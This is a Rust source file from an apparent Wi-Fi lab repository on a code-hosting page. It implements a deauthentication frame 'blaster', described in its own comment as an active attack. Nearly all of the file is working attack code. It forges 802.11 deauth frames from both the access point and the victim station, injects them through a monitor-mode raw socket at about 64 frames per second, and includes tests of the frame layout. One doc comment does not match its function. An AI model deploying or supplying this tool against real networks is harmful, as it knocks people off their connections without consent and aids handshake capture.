forge
Explore
Log in

Don't you dare go Hollow

wifi_lab

Clone
★ 0

0 watching0 forksRust2.1 MiBb265998Tahinli1 month ago27 commits

deauth.rs148 lines, 5.2 KiBHistoryRawDownload
1//! Deauthentication/disassociation frame blaster (active attack).
2//!
3//! Unicast targets get both directions (ap→sta *and* sta→ap); a broadcast
4//! target only gets the AP-side broadcasted deauth — there is no sane
5//! reverse direction for the broadcast address.
6
7use std::sync::atomic::{AtomicBool, Ordering};
8use std::thread::sleep;
9use std::time::Duration;
10
11use anyhow::{Context, Result};
12use crossbeam_channel::Sender;
13
14use crate::common::{Event, MacAddr};
15use crate::dot11::build_deauth;
16use crate::radiotap::INJECT_HDR;
17use crate::rawsock::RawSocket;
18
19pub const REASON_CLASS3: u16 = 7;
20
21/// Pacing between frames: 15 ms ≈ 64 frames/s.
22const PACE: Duration = Duration::from_millis(15);
23/// Emit [`Event::DeauthSent`] after every this many frames.
24const REPORT_EVERY: u64 = 32;
25
26/// Rewards: `Some(frame_with_radiotap)` queues for TX.
27fn frame_plan(ap: &MacAddr, target: &MacAddr) -> Vec<Vec<u8>> {
28 let mut frames = Vec::new();
29 let mut push = |f: Vec<u8>| {
30 let mut with_hdr = Vec::with_capacity(INJECT_HDR.len() + f.len());
31 with_hdr.extend_from_slice(&INJECT_HDR);
32 with_hdr.extend_from_slice(&f);
33 frames.push(with_hdr);
34 };
35 // AP side.
36 push(build_deauth(ap, target, REASON_CLASS3));
37 if !target.is_broadcast() {
38 // Client side: forge a deauth from the station towards the AP.
39 push(build_deauth(target, ap, REASON_CLASS3));
40 }
41 frames
42}
43
44/// Send `count` deauth rounds against `target` via `sock` (`sock` is bound
45/// to a monitor-mode interface by the caller). Rate-limited to ~64 pps with
46/// a [`Event::DeauthSent`] progress event every 32 sent frames.
47///
48/// Retries briefly on EAGAIN (driver TX ring full); any other error aborts.
49/// `stop` is checked per round: when set, the blast breaks cleanly — a
50/// long blast must not block the service command loop on scan restart.
51/// Returns frames actually written to the wire.
52pub fn blast(
53 sock: &RawSocket,
54 ap: &MacAddr,
55 target: &MacAddr,
56 count: u32,
57 tx: &Sender<Event>,
58 stop: &AtomicBool,
59) -> Result<u64> {
60 let frames = frame_plan(ap, target);
61 let mut sent: u64 = 0;
62 let mut last_report: u64 = 0;
63
64 for _ in 0..count {
65 if stop.load(Ordering::Relaxed) {
66 break;
67 }
68 for f in &frames {
69 // EAGAIN-aware send: bounded backoff (~5 × 2 ms), then give up.
70 let mut attempt = 0;
71 loop {
72 match sock.send(f) {
73 Ok(_) => break,
74 Err(ref e) if e.raw_os_error() == Some(libc::EAGAIN) => {
75 attempt += 1;
76 if attempt >= 5 {
77 anyhow::bail!("TX ring stayed full (EAGAIN) after retries");
78 }
79 sleep(Duration::from_millis(2));
80 }
81 Err(e) => {
82 return Err(e)
83 .context("deauth send failed (monitor + packet injection ok?)");
84 }
85 }
86 }
87 sent += 1;
88 if sent - last_report >= REPORT_EVERY {
89 last_report = sent;
90 let _ = tx.send(Event::DeauthSent {
91 ap: *ap,
92 target: *target,
93 count: sent,
94 });
95 }
96 sleep(PACE);
97 }
98 }
99
100 // Final report so the UI sees the exact total even under REPORT_EVERY.
101 if sent != last_report {
102 let _ = tx.send(Event::DeauthSent {
103 ap: *ap,
104 target: *target,
105 count: sent,
106 });
107 }
108 Ok(sent)
109}
110
111#[cfg(test)]
112mod tests {
113 use super::*;
114
115 #[test]
116 fn frame_plan_broadcast_only_ap_side() {
117 let ap = "aa:bb:cc:dd:ee:ff".parse::<MacAddr>().unwrap();
118 let frames = frame_plan(&ap, &MacAddr::BROADCAST);
119 assert_eq!(frames.len(), 1);
120 // Radiotap header prefix present, then deauth FC 0x00c0 little-endian.
121 assert!(frames[0].starts_with(&INJECT_HDR));
122 assert_eq!(&frames[0][8..10], &0x00c0u16.to_le_bytes());
123 // addr1 (802.11 offset 4 → +8 radiotap) = broadcast, addr2 = ap.
124 assert_eq!(&frames[0][12..18], &MacAddr::BROADCAST.0);
125 assert_eq!(&frames[0][18..24], &ap.0);
126 }
127
128 #[test]
129 fn frame_plan_unicast_both_directions() {
130 let ap = "aa:bb:cc:dd:ee:ff".parse::<MacAddr>().unwrap();
131 let sta = "11:22:33:44:55:66".parse::<MacAddr>().unwrap();
132 let frames = frame_plan(&ap, &sta);
133 assert_eq!(frames.len(), 2);
134 // Direction 1: ap → sta (addr1 = sta, addr2 = ap).
135 assert_eq!(&frames[0][12..18], &sta.0);
136 assert_eq!(&frames[0][18..24], &ap.0);
137 // Direction 2: sta → ap (addr1 = ap, addr2 = sta).
138 assert_eq!(&frames[1][12..18], &ap.0);
139 assert_eq!(&frames[1][18..24], &sta.0);
140 // Round-trip through the dot11 parser: (transmitter, target).
141 let (from2, tgt2) = crate::dot11::parse_deauth(&frames[1][8..]).expect("parse");
142 assert_eq!(from2, sta);
143 assert_eq!(tgt2, ap);
144 let (from1, tgt1) = crate::dot11::parse_deauth(&frames[0][8..]).expect("parse");
145 assert_eq!(from1, ap);
146 assert_eq!(tgt1, sta);
147 }
148}